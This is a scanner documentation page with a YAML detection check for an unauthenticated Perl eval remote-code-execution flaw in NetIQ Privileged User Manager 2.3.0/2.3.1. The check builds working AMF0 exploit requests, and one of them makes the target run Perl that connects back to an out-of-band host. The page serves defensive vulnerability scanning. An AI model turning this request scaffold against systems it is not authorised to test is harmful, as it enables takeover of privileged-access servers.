Netiq Pum — 1 vulnerability check

noctis ships 1 vulnerability check for Netiq Pum, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

NetIQ Privileged User Manager unauthenticated ldapagnt eval Perl code execution

CVECVE-2012-5930, CVE-2012-5931, CVE-2012-5932
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, tcp_open, tcp_send, tcp_close, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/netiq-pum/CVE-2012-5932.yaml

NetIQ (Novell) Privileged User Manager 2.3.0 and 2.3.1 let an unauthenticated client call the ldapagnt module's eval method over the AMF interface of the unifid service, which runs arbitrary Perl code as SYSTEM (CVE-2012-5932); the same release also exposes the auth module's modifyAccounts method without authentication (CVE-2012-5930, CVE-2012-5931). The check sends a failing AMF login (test/test) to identify the service and read its service name, then calls ldapagnt eval without a session. With OOB enabled, the evaluated Perl opens a connection to the OOB server, and the callback confirms code execution. Without OOB, the eval of the no-op Perl code "1;" being accepted (no authorization error) confirms the unauthenticated eval sink. If the eval reply cannot be read, a login reply reporting version 2.3.0 or 2.3.1 is reported at a lower confidence. No account is created or modified.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends a binary frame on the open socket
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Opens a persistent TCP/TLS socket
  7. Sends a binary frame on the open socket
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: NetIQ Privileged User Manager unauthenticated Perl code execution confirmed (CVE-2012-5932)
  9. Parses / computes the next value with a Rhai script
  10. Opens a persistent TCP/TLS socket
  11. Sends a binary frame on the open socket
  12. Parses / computes the next value with a Rhai script
  13. Checks probe.response for onResult → finding QoD 75: NetIQ Privileged User Manager unauthenticated ldapagnt eval accepted (CVE-2012-5932)
  14. Checks login.response for (?:^|[^0-9.])2\.3\.[01](?:[^0-9.]|$) → finding QoD 70: NetIQ Privileged User Manager 2.3.0 / 2.3.1 detected (CVE-2012-5930, CVE-2012-5931, CVE-2012-5932)

References:

Feed source — tests/vulnerabilities/netiq-pum/CVE-2012-5932.yaml
# NetIQ (Novell) Privileged User Manager 2.3.0 / 2.3.1 — unauthenticated
# ldapagnt eval() Perl code execution (CVE-2012-5932), fixed in 2.3.2 along
# with the auth module's unauthenticated modifyAccounts() (CVE-2012-5930,
# CVE-2012-5931).
#
# Detection logic ported from OpenVAS/Greenbone NASL
# 2012/gb_novell_netiq_privileged_user_manager_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802043, GPL-2.0-only), cross-checked with
# Metasploit exploit/windows/novell/netiq_pum_eval and rgod's PoC (EDB 22738).
#
# The unifid service speaks AMF0 over HTTP(S) POST / (Content-Type
# application/x-amf). Its module.xml defines no role for the ldapagnt `eval`
# method, so SPF.Util.callModuleA → ldapagnt.eval runs attacker Perl as SYSTEM
# without a session. The call needs the instance's service name, which an
# (intentionally failing) login through SPF.Util.callModuleEx → auth.login
# returns under the `svc` key.
#
# Steps:
#   1. fake-login: auth.login with test/test (the PoC / Metasploit request).
#      onResult + "Invalid user name or password" identifies PUM; the `svc`
#      value is parsed out of the reply (hex, AMF0 key 0003 'svc', type 02).
#   2. OOB (QoD 97, only with --oob): ldapagnt.eval of a Perl snippet that
#      opens a TCP socket to the noctis OOB server and sends
#      `GET /<oob_token>`. Its only effect is that callback.
#   3. eval-probe (QoD 75): ldapagnt.eval of the no-op Perl `1;`. A vulnerable
#      server accepts the call (onResult, no Error object, no "You are not
#      authorized" / "No module available"); 2.3.2 refuses it.
#   4. version (QoD 70): the login reply advertises 2.3.0 / 2.3.1 — fallback
#      when the eval reply cannot be read (Metasploit notes the server may not
#      answer an eval call at all).
#
# Beyond the NASL: the NASL proves the bug by calling auth.modifyAccounts,
# which creates/modifies a super-user account (ovxyz / ACT_SUPER) on the
# target — a persistent, security-relevant write. This feed never calls
# modifyAccounts; it proves the eval sink instead (CVE-2012-5932, the RCE)
# with a no-op and an OOB beacon, and it does not require the "/" page to
# carry the product title (the NASL exits on deployments where it does not).
uid: f9d82cfc-35eb-4c02-891a-f54d6abc0060
name: "NetIQ Privileged User Manager unauthenticated ldapagnt eval Perl code execution"
description: |
  NetIQ (Novell) Privileged User Manager 2.3.0 and 2.3.1 let an unauthenticated
  client call the ldapagnt module's eval method over the AMF interface of the
  unifid service, which runs arbitrary Perl code as SYSTEM (CVE-2012-5932); the
  same release also exposes the auth module's modifyAccounts method without
  authentication (CVE-2012-5930, CVE-2012-5931).
  The check sends a failing AMF login (test/test) to identify the service and
  read its service name, then calls ldapagnt eval without a session. With OOB
  enabled, the evaluated Perl opens a connection to the OOB server, and the
  callback confirms code execution. Without OOB, the eval of the no-op Perl
  code "1;" being accepted (no authorization error) confirms the unauthenticated
  eval sink. If the eval reply cannot be read, a login reply reporting version
  2.3.0 or 2.3.1 is reported at a lower confidence. No account is created or
  modified.
cves: [CVE-2012-5930, CVE-2012-5931, CVE-2012-5932]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags:
  - netiq
  - novell
  - privileged-user-manager
  - amf
  - perl
  - eval
  - rce
  - unauthenticated
  - oob
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5930"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5931"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5932"
  - "https://support.microfocus.com/kb/doc.php?id=7011385"
  - "https://www.exploit-db.com/exploits/22738"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/novell/netiq_pum_eval.rb"
  - "OpenVAS/Greenbone NASL 2012/gb_novell_netiq_privileged_user_manager_rce_vuln.nasl (GPL-2.0-only)"

steps:
  # Pre-initialise every stored result read by a later condition, so a failed
  # connection leaves an empty reply instead of an undefined variable.
  - id: init-login
    action: set_var
    var_name: login
    var_value: {responded: false, response: "", response_hex: ""}

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {responded: false, response: "", response_hex: ""}

  - id: init-pum
    action: set_var
    var_name: pum
    var_value: {found: false, svc_hex: "", svc_len: 0}

  # ── 1. Failing AMF login: identify PUM and read its service name ─────────
  # Body = the exact 137-byte AMF0 message of the PoC / Metasploit (auth.login
  # with name "test", passwd "test").
  - id: build-login
    action: script
    store_as: login_req
    code: |
      let body = "00000000000100155350462e5574696c2e63616c6c4d6f64756c65457800022f34000000640a00000001030003706b7403000b43726564656e7469616c730300046e616d650200047465737400067061737377640200047465737400000900066d6574686f640200056c6f67696e00066d6f64756c6502000461757468000375696406000009000009";
      let head = "POST / HTTP/1.1\r\n";
      head += "Host: " + target_host + ":" + port.to_string() + "\r\n";
      head += "Content-Type: application/x-amf\r\n";
      head += "x-flash-version: 11,4,402,278\r\n";
      head += "Content-Length: " + (strlen(body) / 2).to_string() + "\r\n";
      head += "Connection: close\r\n\r\n";
      hexstr(head) + body

  - id: open-login
    action: tcp_open
    handle: login
    port: "{{port}}"
    timeout_secs: 10
    store_as: login_conn

  - id: send-login
    action: tcp_send
    handle: login
    condition: "login_conn.connected == true"
    send_hex: "{{login_req}}"
    timeout_secs: 10
    store_as: login

  - id: close-login
    action: tcp_close
    handle: login

  # AMF0 object key 'svc' (0003 737663) followed by a string (02), its u16be
  # length and the bytes. The regex walks whole bytes so the key is matched on
  # a byte boundary of the hex reply.
  - id: parse-login
    action: script
    condition: "login.responded == true"
    store_as: pum
    code: |
      let hex = if type_of(login.response_hex) == "string" { login.response_hex } else { "" };
      let txt = if type_of(login.response) == "string" { login.response } else { "" };
      let found = stridx(hex, hexstr("onResult")) >= 0
        && stridx(txt, "Invalid user name or password") >= 0;
      let m = eregmatch("^(?:[0-9a-f]{2})*?0003737663" + "02([0-9a-f]{4})", hex);
      let svc_len = 0;
      let svc_hex = "";
      if m.len() == 2 {
        svc_len = u16be(m[1]);
        let start = strlen(m[0]);
        if svc_len > 0 && svc_len < 256 && strlen(hex) >= start + svc_len * 2 {
          svc_hex = substr(hex, start, start + svc_len * 2 - 1);
        } else {
          svc_len = 0;
        }
      }
      #{ found: found && svc_len > 0, svc_hex: svc_hex, svc_len: svc_len }

  # ── 2. OOB proof: Perl evaluated by ldapagnt connects back (QoD 97) ──────
  - id: build-oob-eval
    action: script
    condition: "oob_enabled && pum.found == true"
    store_as: oob_req
    code: |
      let code = "eval{require IO::Socket::INET;my $s=IO::Socket::INET->new(PeerAddr=>\"";
      code += oob_host + "\",PeerPort=>" + oob_port.to_string();
      code += ",Proto=>\"tcp\",Timeout=>5);if($s){print $s \"GET /" + oob_token;
      code += " HTTP/1.0\\r\\nHost: " + oob_host + "\\r\\n\\r\\n\";";
      code += "my $r=<$s>;close($s);}};1;";
      // SPF.Util.callModuleA { pkt: { method: "eval", module: "ldapagnt",
      // Eval: { content: <code> } }, uid: "", svc_name: <svc> } — byte layout
      // of the PoC / Metasploit request, trailing "\n\n1;\n\n1;" included.
      let body = "000000000001" + "0014" + hexstr("SPF.Util.callModuleA");
      body += "0000" + "00" + "0002" + "0a0a" + "0000000103";
      body += "0003" + hexstr("pkt") + "03";
      body += "0006" + hexstr("method") + "02" + "0004" + hexstr("eval");
      body += "0006" + hexstr("module") + "02" + "0008" + hexstr("ldapagnt");
      body += "0004" + hexstr("Eval") + "03";
      body += "0007" + hexstr("content") + "02" + p16be(strlen(code) + 4);
      body += hexstr(code);
      body += "0a0a313b0a0a313b" + "000009" + "000009";
      body += "0003" + hexstr("uid") + "02" + "0000" + "000009";
      body += "0008" + hexstr("svc_name") + "02" + p16be(pum.svc_len);
      body += pum.svc_hex + "000009";
      let head = "POST / HTTP/1.1\r\n";
      head += "Host: " + target_host + ":" + port.to_string() + "\r\n";
      head += "Content-Type: application/x-amf\r\n";
      head += "x-flash-version: 11,4,402,278\r\n";
      head += "Content-Length: " + (strlen(body) / 2).to_string() + "\r\n";
      head += "Connection: close\r\n\r\n";
      hexstr(head) + body

  - id: open-oob
    action: tcp_open
    handle: oobsock
    port: "{{port}}"
    condition: "oob_enabled && pum.found == true"
    timeout_secs: 10
    store_as: oob_conn

  - id: send-oob-eval
    action: tcp_send
    handle: oobsock
    condition: "oob_enabled && pum.found == true && oob_conn.connected == true"
    send_hex: "{{oob_req}}"
    timeout_secs: 10
    store_as: oob_resp

  - id: close-oob
    action: tcp_close
    handle: oobsock

  - id: wait-callback
    action: wait_oob
    condition: "oob_enabled && pum.found == true"
    oob_timeout_secs: 20
    store_as: oob_result
    on_success:
      finding:
        title: "NetIQ Privileged User Manager unauthenticated Perl code execution confirmed (CVE-2012-5932)"
        description: "An unauthenticated AMF call to the ldapagnt eval method made the NetIQ Privileged User Manager service execute Perl code that connected back to the noctis OOB server (CVE-2012-5932). The evaluated code only opened that connection."
        remediation: "Upgrade NetIQ Privileged User Manager to 2.3.2 or later; until then apply the vendor's module.xml workaround and restrict access to the unifid service."
        confidence_delta: 0.65
        qod: 97
        evidence: "ldapagnt eval of a Perl socket snippet (svc_name from the login reply) triggered an OOB callback: {{oob_result.body}}"
      stop: true

  # ── 3. In-band: unauthenticated eval of the no-op "1;" accepted (QoD 75) ─
  - id: build-probe-eval
    action: script
    condition: "pum.found == true"
    store_as: probe_req
    code: |
      let code = "1;";
      let body = "000000000001" + "0014" + hexstr("SPF.Util.callModuleA");
      body += "0000" + "00" + "0002" + "0a0a" + "0000000103";
      body += "0003" + hexstr("pkt") + "03";
      body += "0006" + hexstr("method") + "02" + "0004" + hexstr("eval");
      body += "0006" + hexstr("module") + "02" + "0008" + hexstr("ldapagnt");
      body += "0004" + hexstr("Eval") + "03";
      body += "0007" + hexstr("content") + "02" + p16be(strlen(code) + 4);
      body += hexstr(code);
      body += "0a0a313b0a0a313b" + "000009" + "000009";
      body += "0003" + hexstr("uid") + "02" + "0000" + "000009";
      body += "0008" + hexstr("svc_name") + "02" + p16be(pum.svc_len);
      body += pum.svc_hex + "000009";
      let head = "POST / HTTP/1.1\r\n";
      head += "Host: " + target_host + ":" + port.to_string() + "\r\n";
      head += "Content-Type: application/x-amf\r\n";
      head += "x-flash-version: 11,4,402,278\r\n";
      head += "Content-Length: " + (strlen(body) / 2).to_string() + "\r\n";
      head += "Connection: close\r\n\r\n";
      hexstr(head) + body

  - id: open-probe
    action: tcp_open
    handle: probesock
    port: "{{port}}"
    condition: "pum.found == true"
    timeout_secs: 10
    store_as: probe_conn

  - id: send-probe-eval
    action: tcp_send
    handle: probesock
    condition: "pum.found == true && probe_conn.connected == true"
    send_hex: "{{probe_req}}"
    timeout_secs: 10
    store_as: probe

  - id: close-probe
    action: tcp_close
    handle: probesock

  # Accepted = an AMF onResult whose response URI is "null" (the NASL's
  # 'onResult\x00\x04null'), with no `Error` object key (AMF0 0005 'Error' 03)
  # and none of the authorization refusals a fixed server returns.
  - id: report-probe
    action: script
    condition: "pum.found == true && probe.responded == true"
    store_as: probe_ok
    code: |
      let hex = if type_of(probe.response_hex) == "string" { probe.response_hex } else { "" };
      let txt = if type_of(probe.response) == "string" { probe.response } else { "" };
      stridx(txt, " 200 ") >= 0
        && stridx(hex, hexstr("onResult") + "0004" + hexstr("null")) >= 0
        && stridx(hex, "0005" + hexstr("Error") + "03") < 0
        && stridx(txt, "not authorized") < 0
        && stridx(txt, "No module available") < 0

  - id: report-eval-accepted
    action: match
    source: probe.response
    pattern: "onResult"
    condition: "pum.found == true && probe.responded == true && probe_ok == true"
    on_match:
      finding:
        title: "NetIQ Privileged User Manager unauthenticated ldapagnt eval accepted (CVE-2012-5932)"
        description: "The NetIQ Privileged User Manager service accepted an unauthenticated AMF call to the ldapagnt eval method (Perl code execution sink, CVE-2012-5932); the evaluated code was the no-op \"1;\". Enable OOB to confirm code execution with a callback."
        remediation: "Upgrade NetIQ Privileged User Manager to 2.3.2 or later; until then apply the vendor's module.xml workaround and restrict access to the unifid service."
        confidence_delta: 0.50
        qod: 75
        evidence: "Unauthenticated SPF.Util.callModuleA ldapagnt.eval(\"1;\") returned an AMF onResult without an authorization error."
      stop: true

  # ── 4. Fallback: version advertised in the login reply (QoD 70) ──────────
  # Only when the eval call got no reply at all: an explicit refusal (2.3.2,
  # or 2.3.x with the vendor module.xml workaround) is not reported.
  - id: report-version
    action: match
    source: login.response
    pattern: "(?:^|[^0-9.])2\\.3\\.[01](?:[^0-9.]|$)"
    condition: "pum.found == true && probe.responded == false"
    on_match:
      finding:
        title: "NetIQ Privileged User Manager 2.3.0 / 2.3.1 detected (CVE-2012-5930, CVE-2012-5931, CVE-2012-5932)"
        description: "The NetIQ Privileged User Manager AMF login reply reports version 2.3.0 or 2.3.1, which exposes the ldapagnt eval and auth modifyAccounts methods without authentication. The eval call itself could not be confirmed."
        remediation: "Upgrade NetIQ Privileged User Manager to 2.3.2 or later; until then apply the vendor's module.xml workaround and restrict access to the unifid service."
        confidence_delta: 0.40
        qod: 70
        evidence: "AMF login reply from the unifid service reports a vulnerable 2.3.0 / 2.3.1 version."

View these feeds on GitHub